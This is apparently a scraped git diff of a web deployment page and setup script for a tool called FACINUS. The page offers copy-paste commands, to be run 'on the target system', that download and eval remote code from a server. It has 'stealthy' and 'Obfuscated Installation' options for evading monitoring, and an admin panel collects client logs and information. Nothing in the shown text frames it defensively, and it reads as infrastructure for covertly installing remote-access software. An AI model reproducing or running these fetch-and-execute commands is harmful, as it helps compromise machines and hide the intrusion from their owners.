||||||
|
|
||||||
|
.option-box {
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 20px;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
background: var(--card-bg);
|
||||||
|
}
|
||||||
|
|
||||||
|
.option-box:hover {
|
||||||
|
border-color: var(--primary);
|
||||||
|
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
|
||||||
|
}
|
||||||
|
|
||||||
|
.option-title {
|
||||||
|
font-weight: 600;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
color: var(--text);
|
||||||
|
font-size: 17px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.option-title i {
|
||||||
|
margin-right: 8px;
|
||||||
|
color: var(--primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.admin-link {
|
||||||
|
display: inline-block;
|
||||||
|
background: var(--primary);
|
||||||
|
color: white;
|
||||||
|
padding: 12px 24px;
|
||||||
|
text-decoration: none;
|
||||||
|
border-radius: 6px;
|
||||||
|
font-weight: 500;
|
||||||
|
margin-top: 10px;
|
||||||
|
transition: background 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.admin-link:hover {
|
||||||
|
background: var(--primary-dark);
|
||||||
|
}
|
||||||
|
|
||||||
|
.note {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-start;
|
||||||
|
background: rgba(52, 152, 219, 0.1);
|
||||||
|
padding: 12px 15px;
|
||||||
|
border-radius: 6px;
|
||||||
|
margin-top: 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.note i {
|
||||||
|
color: var(--primary);
|
||||||
|
margin-right: 10px;
|
||||||
|
margin-top: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.options {
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header h1 {
|
||||||
|
font-size: 24px;
|
||||||
|
}
|
||||||
|
}
|
||||||
</style>
|
</style>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<div class="header">
|
<div class="header">
|
||||||
<div class="container">
|
<div class="container">
|
||||||
<h1>FACINUS Deployment</h1>
|
<h1><i class="fas fa-server"></i> FACINUS Deployment</h1>
|
||||||
|
<p>Secure client deployment system</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="container">
|
<div class="container">
|
||||||
<div class="card">
|
<div class="card">
|
||||||
<h2>Quick Setup</h2>
|
<h2><i class="fas fa-bolt"></i> Quick Setup</h2>
|
||||||
<p>Copy and paste this command into a terminal on the target system:</p>
|
<p>Copy and paste this command into a terminal on the target system:</p>
|
||||||
|
|
||||||
<div class="command" id="cmd1">
|
<div class="command" id="cmd1">
|
||||||
eval "$(curl -fsSL http://SERVER_IP/deployment/y)"
|
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||||
<button class="copy-btn" onclick="copyToClipboard('cmd1')">Copy</button>
|
<button class="copy-btn" onclick="copyToClipboard('cmd1')">
|
||||||
|
<i class="fas fa-copy"></i> Copy
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<p><strong>Note:</strong> This will install with default settings and requires root access.</p>
|
<div class="note">
|
||||||
|
<i class="fas fa-info-circle"></i>
|
||||||
|
<span><strong>Note:</strong> This will install with default settings and requires root access.</span>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="card">
|
<div class="card">
|
||||||
<h2>Installation Options</h2>
|
<h2><i class="fas fa-cogs"></i> Installation Options</h2>
|
||||||
|
|
||||||
<div class="options">
|
<div class="options">
|
||||||
<div class="option-box">
|
<div class="option-box">
|
||||||
<div class="option-title">Minimal Installation (No Root Required)</div>
|
<div class="option-title"><i class="fas fa-feather"></i> Minimal Installation</div>
|
||||||
<p>For limited access without requiring root privileges:</p>
|
<p>For limited access without requiring root privileges:</p>
|
||||||
<div class="command" id="cmd2">
|
<div class="command" id="cmd2">
|
||||||
curl -fsSL http://SERVER_IP/deployment/minimal | bash
|
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||||
<button class="copy-btn" onclick="copyToClipboard('cmd2')">Copy</button>
|
<button class="copy-btn" onclick="copyToClipboard('cmd2')">
|
||||||
|
<i class="fas fa-copy"></i> Copy
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="option-box">
|
<div class="option-box">
|
||||||
<div class="option-title">Full Installation</div>
|
<div class="option-title"><i class="fas fa-box-open"></i> Full Installation</div>
|
||||||
<p>Complete installation with all features:</p>
|
<p>Complete installation with all features:</p>
|
||||||
<div class="command" id="cmd3">
|
<div class="command" id="cmd3">
|
||||||
curl -fsSL http://SERVER_IP/deployment/full | sudo bash
|
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||||
<button class="copy-btn" onclick="copyToClipboard('cmd3')">Copy</button>
|
<button class="copy-btn" onclick="copyToClipboard('cmd3')">
|
||||||
|
<i class="fas fa-copy"></i> Copy
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="option-box">
|
<div class="option-box">
|
||||||
<div class="option-title">Quiet Mode</div>
|
<div class="option-title"><i class="fas fa-volume-mute"></i> Quiet Mode</div>
|
||||||
<p>Minimal output for stealthy installation:</p>
|
<p>Minimal output for stealthy installation:</p>
|
||||||
<div class="command" id="cmd4">
|
<div class="command" id="cmd4">
|
||||||
curl -fsSL http://SERVER_IP/deployment/quiet | sudo bash
|
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||||
<button class="copy-btn" onclick="copyToClipboard('cmd4')">Copy</button>
|
|
||||||
|
<i class="fas fa-copy"></i> Copy
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="option-box">
|
<div class="option-box">
|
||||||
<div class="option-title">Obfuscated Installation</div>
|
<div class="option-title"><i class="fas fa-user-secret"></i> Obfuscated Installation</div>
|
||||||
<p>For environments with stricter monitoring:</p>
|
<p>For environments with stricter monitoring:</p>
|
||||||
<div class="command" id="cmd5">
|
<div class="command" id="cmd5">
|
||||||
eval "$(curl -fsSL http://SERVER_IP/deployment/x)"
|
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||||
<button class="copy-btn" onclick="copyToClipboard('cmd5')">Copy</button>
|
<button class="copy-btn" onclick="copyToClipboard('cmd5')">
|
||||||
|
<i class="fas fa-copy"></i> Copy
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="card">
|
<div class="card">
|
||||||
<h2>Admin Access</h2>
|
<h2><i class="fas fa-user-shield"></i> Admin Access</h2>
|
||||||
<p>Access the admin panel for logs and client information:</p>
|
<p>Access the admin panel for logs and client information:</p>
|
||||||
<p><a href="admin.php">Admin Panel</a></p>
|
<a href="admin.php" class="admin-link"><i class="fas fa-sign-in-alt"></i> Admin Panel</a>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -93,10 +295,10 @@
|
|||||||
|
|
||||||
navigator.clipboard.writeText(text).then(function() {
|
navigator.clipboard.writeText(text).then(function() {
|
||||||
const btn = el.querySelector('.copy-btn');
|
const btn = el.querySelector('.copy-btn');
|
||||||
const originalText = btn.innerText;
|
const originalIcon = btn.innerHTML;
|
||||||
btn.innerText = 'Copied!';
|
btn.innerHTML = '<i class="fas fa-check"></i> Copied!';
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
btn.innerText = originalText;
|
btn.innerHTML = originalIcon;
|
||||||
}, 2000);
|
}, 2000);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
@@ -62,6 +62,10 @@ copy_web_files() {
|
|||||||
sudo sed -i "s/TOKEN_PLACEHOLDER/$SECRET_TOKEN/g" "$SERVER_ROOT/log_receiver.php"
|
sudo sed -i "s/TOKEN_PLACEHOLDER/$SECRET_TOKEN/g" "$SERVER_ROOT/log_receiver.php"
|
||||||
sudo sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" "$SERVER_ROOT/admin.php"
|
sudo sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" "$SERVER_ROOT/admin.php"
|
||||||
|
|
||||||
|
# Update Server IP in the HTML files
|
||||||
|
sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/index.html"
|
||||||
|
sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/admin.php"
|
||||||
|
|
||||||
# Set proper permissions
|
# Set proper permissions
|
||||||
sudo chmod 640 "$SERVER_ROOT/admin.php"
|
sudo chmod 640 "$SERVER_ROOT/admin.php"
|
||||||
sudo chmod 640 "$SERVER_ROOT/log_receiver.php"
|
sudo chmod 640 "$SERVER_ROOT/log_receiver.php"
|
||||||
|
Reference in New Issue
Block a user